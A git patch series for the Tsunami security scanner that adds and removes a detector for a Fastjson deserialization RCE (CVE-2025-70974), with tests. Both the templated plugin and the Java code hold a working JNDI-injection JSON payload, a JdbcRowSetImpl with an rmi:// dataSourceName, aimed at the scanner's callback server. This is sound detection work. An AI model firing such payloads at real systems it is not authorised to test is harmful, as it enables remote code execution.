a/doyensec/detectors/Fastjson_CVE_2025_70974/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20190192/AlibabaFastjsonCve202570974Test.java b/doyensec/detectors/Fastjson_CVE_2025_70974/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20190192/AlibabaFastjsonCve202570974Test.java new file mode 100644 index 000000000..bbcee3e09 --- /dev/null +++ b/doyensec/detectors/Fastjson_CVE_2025_70974/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20190192/AlibabaFastjsonCve202570974Test.java @@ -0,0 +1,189 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202570974; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.inject.testing.fieldbinder.Bind; +import com.google.inject.testing.fieldbinder.BoundFieldModule; +import com.google.inject.util.Modules; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TransportProtocol; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link AlibabaFastjsonCve202570974}. */ +@RunWith(JUnit4.class) +public final class AlibabaFastjsonCve202570974Test { + + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2026-01-23T13:37:00.00Z")); + + @Bind(lazy = true) + private final int oobSleepDuration = 0; + + @Inject private AlibabaFastjsonCve202570974 detector; + private MockWebServer mockWebServer = new MockWebServer(); + private MockWebServer mockCallbackServer = new MockWebServer(); + + private static final String SAFE_INSTANCE_RESPONSE = + "{\t\\\"timestamp\\\":1769092268366,\t\\\"status\\\":400,\t\\\"error\\\":\\\"Bad Request\\\"," + + "\t\\\"exception\\\":" + + "\\\"org.springframework.http.converter.HttpMessageNotReadableException\\\"," + + "\t\\\"message\\\":\\\"JSON parse error: autoType is not support." + + " com.sun.rowset.JdbcRowSetImpl; nested exception is" + + " com.alibaba.fastjson.JSONException: autoType is not support." + + " com.sun.rowset.JdbcRowSetImpl\\\",\t\\\"path\\\":\\\"/\\\"}"; + + @Before + public void setUp() throws IOException { + mockWebServer = new MockWebServer(); + mockCallbackServer.start(); + } + + @After + public void tearDown() throws Exception { + mockCallbackServer.shutdown(); + mockWebServer.shutdown(); + } + + private void createInjector(boolean tcsAvailable) { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder() + .setCallbackServer(tcsAvailable ? mockCallbackServer : null) + .build(), + Modules.override(new AlibabaFastjsonCve202570974BootstrapModule()) + .with(BoundFieldModule.of(this))) + .injectMembers(this); + } + + @Test + public void detect_whenVulnerableAndTcsAvailable_reportsCriticalVulnerability() + throws IOException { + ImmutableList httpServices = mockWebServerSetup(true); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(true); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + DetectionReport expectedDetection = + generateDetectionReportWithCallback(detector, targetInfo, httpServices.get(0)); + assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); + assertThat(mockWebServer.getRequestCount()).isEqualTo(1); + assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); + } + + @Test + public void detect_whenNotVulnerableAndTcsAvailable_reportsNoVulnerability() throws IOException { + ImmutableList httpServices = mockWebServerSetup(false); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(true); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + assertThat(mockWebServer.getRequestCount()).isEqualTo(1); + assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); + } + + private DetectionReport generateDetectionReportWithCallback( + AlibabaFastjsonCve202570974 detector, TargetInfo targetInfo, NetworkService networkService) { + + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(networkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(detector.getAdvisories().get(0)) + .build(); + } + + private ImmutableList mockWebServerSetup(boolean isVulnerable) + throws IOException { + mockWebServer.setDispatcher(new EndpointDispatcher(isVulnerable)); + mockWebServer.start(); + return ImmutableList.of( + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build()); + } + + static final class EndpointDispatcher extends Dispatcher { + EndpointDispatcher(boolean isVulnerable) { + this.isVulnerable = isVulnerable; + } + + private final boolean isVulnerable; + + @Override + public MockResponse dispatch(RecordedRequest recordedRequest) { + if (recordedRequest.getMethod().equals("POST")) { + // Not vulnerable case + if (!isVulnerable) { + return new MockResponse() + .setResponseCode(HttpStatus.INTERNAL_SERVER_ERROR.code()) + .setBody(SAFE_INSTANCE_RESPONSE); + } else { + return new MockResponse().setResponseCode(HttpStatus.BAD_REQUEST.code()); + } + } else { + // Anything else, return a 404 + return new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code()); + } + } + } +} diff --git a/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto deleted file mode 100644 index d93db95c6..000000000 --- a/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto +++ /dev/null @@ -1,74 +0,0 @@ -# proto-file: proto/templated_plugin.proto -# proto-message: TemplatedPlugin - -############### -# PLUGIN INFO # -############### - -info: { - type: VULN_DETECTION - name: "Fastjson_CVE_2025_70974" - author: "Robert Dick (robert@doyensec.com)" - version: "1.0" -} - -finding: { - main_id: { - publisher: "GOOGLE" - value: "CVE-2025-70974" - } - severity: CRITICAL - title: "Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974)" - description: "Due to insecure deserialization in Alibaba's Fastjson, there is a JNDI injection allowing loading remote classes and ultimately Remote Code Execution. This plugin detects the vulnerability using a DNS out of band callback server." - recommendation: "Update Fastjson to the latest version." - related_id: { - publisher: "CVE" - value: "CVE-2025-70974" - } -} - -config: {} - -########### -# ACTIONS # -########### - -actions: { - name: "trigger_rmi" - http_request: { - method: POST - uri: "/" - headers: [ - { name: "Content-Type" value: "application/json" } - ] - data: "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://{{ T_CBS_URI }}/NoObjectHere\",\"autoCommit\":true}}" - client_options: { - disable_follow_redirects: true - ignore_http_client_errors: true - } - } -} - -actions: { - name: "sleep" - utility: { sleep: { duration_ms: 1000 } } -} - -actions: { - name: "check_callback_server_logs" - callback_server: { action_type: CHECK } -} - - -############# -# WORKFLOWS # -############# - -workflows: { - condition: REQUIRES_CALLBACK_SERVER - actions: [ - "trigger_rmi", - "sleep", - "check_callback_server_logs" - ] -} diff --git a/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto deleted file mode 100644 index 8606d37d5..000000000 --- a/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto +++ /dev/null @@ -1,46 +0,0 @@ -# proto-file: proto/templated_plugin_tests.proto -# proto-message: TemplatedPluginTests - -config: { - tested_plugin: "Fastjson_CVE_2025_70974" -} - -tests: { - name: "whenVulnerable_returnsTrue" - expect_vulnerability: true - - mock_callback_server: { - enabled: true - has_interaction: true - } - - mock_http_server: { - mock_responses: [ - { - uri: "/" - status: 200 - body_content: "{}" - } - ] - } -} - -tests: { - name: "whenNoCallback_returnsFalse" - expect_vulnerability: false - - mock_callback_server: { - enabled: true - has_interaction: false - } - - mock_http_server: { - mock_responses: [ - { - uri: "/" - status: 400 - body_content: "{ \"timestamp\":1769092268366, \"status\":400, \"error\":\"Bad Request\", \"exception\":\"org.springframework.http.converter.HttpMessageNotReadableException\", \"message\":\"JSON parse error: autoType is not support. com.sun.rowset.JdbcRowSetImpl; nested exception is com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl\", \"path\":\"/\"}" - } - ] - } -} From c512c44bc5cd59fb0b5d8a63e87371ea11ad06c4 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 5 Feb 2026 03:30:53 -0500 Subject: [PATCH 7/9] fixed folder name --- .../AlibabaFastjsonCve202570974Test.java | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename doyensec/detectors/Fastjson_CVE_2025_70974/src/test/java/com/google/tsunami/plugins/detectors/cves/{cve20190192 => cve202570974}/AlibabaFastjsonCve202570974Test.java (100%) diff --git a/doyensec/detectors/Fastjson_CVE_2025_70974/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20190192/AlibabaFastjsonCve202570974Test.java b/doyensec/detectors/Fastjson_CVE_2025_70974/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974Test.java similarity index 100% rename from doyensec/detectors/Fastjson_CVE_2025_70974/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20190192/AlibabaFastjsonCve202570974Test.java rename to doyensec/detectors/Fastjson_CVE_2025_70974/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974Test.java From 3f69a554679910314031bd9f0cd3b70f4456a1e1 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 20 Mar 2026 21:12:47 -0400 Subject: [PATCH 8/9] changed back to templated --- .../2025/Fastjson_CVE_2025_70974.textproto | 72 +++++++++++++++++++ .../Fastjson_CVE_2025_70974_test.textproto | 46 ++++++++++++ 2 files changed, 118 insertions(+) create mode 100644 templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto create mode 100644 templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto diff --git a/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto new file mode 100644 index 000000000..7d0c68701 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto @@ -0,0 +1,72 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "Fastjson_CVE_2025_70974" + author: "Robert Dick (robert@doyensec.com)" + version: "1.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "CVE-2025-70974" + } + severity: CRITICAL + title: "Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974)" + description: "Due to insecure deserialization in Alibaba's Fastjson, there is a JNDI injection allowing loading remote classes and ultimately Remote Code Execution. This plugin detects the vulnerability using a DNS out of band callback server." + recommendation: "Update Fastjson to the latest version." + related_id: { + publisher: "CVE" + value: "CVE-2025-70974" + } +} + +########### +# ACTIONS # +########### + +actions: { + name: "trigger_rmi" + http_request: { + method: POST + uri: "/" + headers: [ + { name: "Content-Type" value: "application/json" } + ] + data: "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://{{ T_CBS_DNS }}/NoObjectHere\",\"autoCommit\":true}}" + client_options: { + disable_follow_redirects: true + ignore_http_client_errors: true + } + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + + +############# +# WORKFLOWS # +############# + +workflows: { + condition: REQUIRES_DNS_CALLBACK_SERVER + actions: [ + "trigger_rmi", + "sleep", + "check_callback_server_logs" + ] +} diff --git a/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto new file mode 100644 index 000000000..8606d37d5 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto @@ -0,0 +1,46 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "Fastjson_CVE_2025_70974" +} + +tests: { + name: "whenVulnerable_returnsTrue" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: "{}" + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 400 + body_content: "{ \"timestamp\":1769092268366, \"status\":400, \"error\":\"Bad Request\", \"exception\":\"org.springframework.http.converter.HttpMessageNotReadableException\", \"message\":\"JSON parse error: autoType is not support. com.sun.rowset.JdbcRowSetImpl; nested exception is com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl\", \"path\":\"/\"}" + } + ] + } +} From 4f5216b2935f42382ff32f92004a9df0899423fb Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 20 Mar 2026 21:22:58 -0400 Subject: [PATCH 9/9] removed java version of fastjson detector --- .../Fastjson_CVE_2025_70974/README.md | 24 -- .../Fastjson_CVE_2025_70974/build.gradle | 41 --- .../Fastjson_CVE_2025_70974/settings.gradle | 12 - .../AlibabaFastjsonCve202570974.java | 235 ------------------ ...baFastjsonCve202570974BootstrapModule.java | 28 --- .../AlibabaFastjsonCve202570974Test.java | 189 -------------- 6 files changed, 529 deletions(-) delete mode 100644 doyensec/detectors/Fastjson_CVE_2025_70974/README.md delete mode 100644 doyensec/detectors/Fastjson_CVE_2025_70974/build.gradle delete mode 100644 doyensec/detectors/Fastjson_CVE_2025_70974/settings.gradle delete mode 100644 doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974.java delete mode 100644 doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974BootstrapModule.java delete mode 100644 doyensec/detectors/Fastjson_CVE_2025_70974/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974Test.java diff --git a/doyensec/detectors/Fastjson_CVE_2025_70974/README.md b/doyensec/detectors/Fastjson_CVE_2025_70974/README.md deleted file mode 100644 index 4647a3050..000000000 --- a/doyensec/detectors/Fastjson_CVE_2025_70974/README.md +++ /dev/null @@ -1,24 +0,0 @@ -# Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974) - -## Description - -Fastjson before 1.2.48 contains an insecure deserialization vulnerability, which allows JNDI injection and Remote Code Execution. - -## Affected Versions - -- < 1.2.48 - -## References - -- [Vulhub](https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce) -- [NIST](https://nvd.nist.gov/vuln/detail/CVE-2025-70974) - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -The Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/doyensec/detectors/Fastjson_CVE_2025_70974/build.gradle b/doyensec/detectors/Fastjson_CVE_2025_70974/build.gradle deleted file mode 100644 index 9ad184396..000000000 --- a/doyensec/detectors/Fastjson_CVE_2025_70974/build.gradle +++ /dev/null @@ -1,41 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974)' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - - implementation 'org.jsoup:jsoup:1.9.2' - - testImplementation "com.google.inject:guice:6.0.0" - testImplementation "com.google.inject.extensions:guice-testlib:6.0.0" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "junit:junit:4.13.2" - testImplementation "org.mockito:mockito-core:5.18.0" -} diff --git a/doyensec/detectors/Fastjson_CVE_2025_70974/settings.gradle b/doyensec/detectors/Fastjson_CVE_2025_70974/settings.gradle deleted file mode 100644 index e3553e36d..000000000 --- a/doyensec/detectors/Fastjson_CVE_2025_70974/settings.gradle +++ /dev/null @@ -1,12 +0,0 @@ -rootProject.name = 'cve-2025-70974-alibaba-fastjson-insecure-deserialization-rce' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974.java b/doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974.java deleted file mode 100644 index d0611c053..000000000 --- a/doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974.java +++ /dev/null @@ -1,235 +0,0 @@ -/* - * Copyright 2025 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve202570974; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.base.Verify.verify; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.common.net.HttpHeaders.CONTENT_TYPE; - -import com.google.common.annotations.VisibleForTesting; -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.gson.JsonObject; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpRequest; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.NotImplementedException; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Instant; -import javax.inject.Inject; - -/** A Tsunami plugin that detects CVE-2025-70974 in Alibaba's Fastjson. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974)", - version = "0.1", - description = - "Due to insecure deserialization in Alibaba's Fastjson, there is a JNDI injection allowing" - + " loading remote classes and ultimately Remote Code Execution.", - author = "Robert Dick (robert@doyensec.com)", - bootstrapModule = AlibabaFastjsonCve202570974BootstrapModule.class) -public final class AlibabaFastjsonCve202570974 implements VulnDetector { - @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "TSUNAMI_COMMUNITY"; - @VisibleForTesting static final String VULNERABILITY_REPORT_ID = "CVE-2025-70974"; - - @VisibleForTesting - static final String VULNERABILITY_REPORT_TITLE = - "Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974)"; - - private static final String PAYLOAD_TEMPLATE = "rmi://HOST/obj"; - - static final String VULNERABILITY_REPORT_DESCRIPTION_BASIC = - "The scanner detected a vulnerable instance of Fastjson parsing the body of a request" - + " (CVE-2025-70974). The vulnerability can be exploited by sending an unauthenticated" - + " HTTP POST request containing a URL that points to a malicious Java RMI server. " - + " This can easily lead to Remote Code Execution."; - - @VisibleForTesting - static final String VULNERABILITY_REPORT_DESCRIPTION_CALLBACK = - VULNERABILITY_REPORT_DESCRIPTION_BASIC - + "The vulnerability was confirmed via an out of band callback."; - - @VisibleForTesting - static final String VULNERABILITY_REPORT_RECOMMENDATION = - "Update Fastjson to the latest version."; - - // This endpoint is not set, so the POST request goes to the web root in the current - // implementation. - // Fastjson is not a web service by itself, and it can parse JSON anywhere. - @VisibleForTesting static final String EXPLOIT_ENDPOINT = ""; - - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - private final Clock utcClock; - private final HttpClient httpClient; - private final PayloadGenerator payloadGenerator; - private String core; - - @Inject - AlibabaFastjsonCve202570974( - @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { - this.utcClock = checkNotNull(utcClock); - this.httpClient = checkNotNull(httpClient); - this.payloadGenerator = checkNotNull(payloadGenerator); - this.core = ""; - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2025-70974")) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULNERABILITY_REPORT_DESCRIPTION_CALLBACK) - .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) - .build()); - } - - // Since Fastjson is a simple JSON parser, we test by sending a POST request to / with the JSON - // body. There is no easy way to fingerprint Fastjson since errors might be handled differently - // depending on the web server. - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log( - "Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974) starts detecting."); - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private String getJsonPayload(String payload) { - // Build the JSON object containing the malicious RMI instance - JsonObject a = new JsonObject(); - a.addProperty("@type", "java.lang.Class"); - a.addProperty("val", "com.sun.rowset.JdbcRowSetImpl"); - - JsonObject b = new JsonObject(); - b.addProperty("@type", "com.sun.rowset.JdbcRowSetImpl"); - b.addProperty("dataSourceName", payload); - b.addProperty("autoCommit", true); - - JsonObject jsonPayload = new JsonObject(); - jsonPayload.add("a", a); - jsonPayload.add("b", b); - - return jsonPayload.toString(); - } - - // Checks whether a given instance is vulnerable. - private boolean isServiceVulnerable(NetworkService networkService) { - - // Generate the payload for the callback server - PayloadGeneratorConfig config = - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY) - .setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY) - .build(); - - String oobCallbackUrl = ""; - Payload payload = null; - - // Check if the callback server is available, fallback to response matching if not - try { - payload = this.payloadGenerator.generate(config); - // Use callback for RCE confirmation and raise severity on success - if (payload == null || !payload.getPayloadAttributes().getUsesCallbackServer()) { - logger.atWarning().log("Tsunami Callback Server not available"); - return false; - } else { - oobCallbackUrl = payload.getPayload(); - } - } catch (NotImplementedException e) { - return false; - } - - String rmiPayload = PAYLOAD_TEMPLATE.replace("HOST", oobCallbackUrl); - String jsonPayload = getJsonPayload(rmiPayload); - - // Send the malicious HTTP request - String targetUri = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + EXPLOIT_ENDPOINT; - logger.atInfo().log("Sending payload to '%s'", targetUri); - HttpRequest req = - HttpRequest.post(targetUri) - .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) - .setRequestBody(ByteString.copyFromUtf8(jsonPayload)) - .build(); - - try { - this.httpClient.send(req, networkService); - } catch (IOException e) { - logger.atWarning().withCause(e).log("Failed to send payload to '%s'", targetUri); - } - // payload should never be null here as we should have already returned in that case - verify(payload != null); - if (payload.checkIfExecuted()) { - logger.atInfo().log("Vulnerability confirmed via Callback Server."); - return true; - } else { - logger.atInfo().log( - "Callback not received and response does not match vulnerable instance, instance is not" - + " vulnerable."); - return false; - } - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974BootstrapModule.java b/doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974BootstrapModule.java deleted file mode 100644 index 24b2f4911..000000000 --- a/doyensec/detectors/Fastjson_CVE_2025_70974/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974BootstrapModule.java +++ /dev/null @@ -1,28 +0,0 @@ -/* - * Copyright 2025 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve202570974; - -import com.google.tsunami.plugin.PluginBootstrapModule; - -/** A Guice module that bootstraps the {@link AlibabaFastjsonCve202570974}. */ -public final class AlibabaFastjsonCve202570974BootstrapModule extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - registerPlugin(AlibabaFastjsonCve202570974.class); - } -} diff --git a/doyensec/detectors/Fastjson_CVE_2025_70974/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974Test.java b/doyensec/detectors/Fastjson_CVE_2025_70974/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202570974/AlibabaFastjsonCve202570974Test.java deleted file mode 100644 index bbcee3e09..000000000 --- 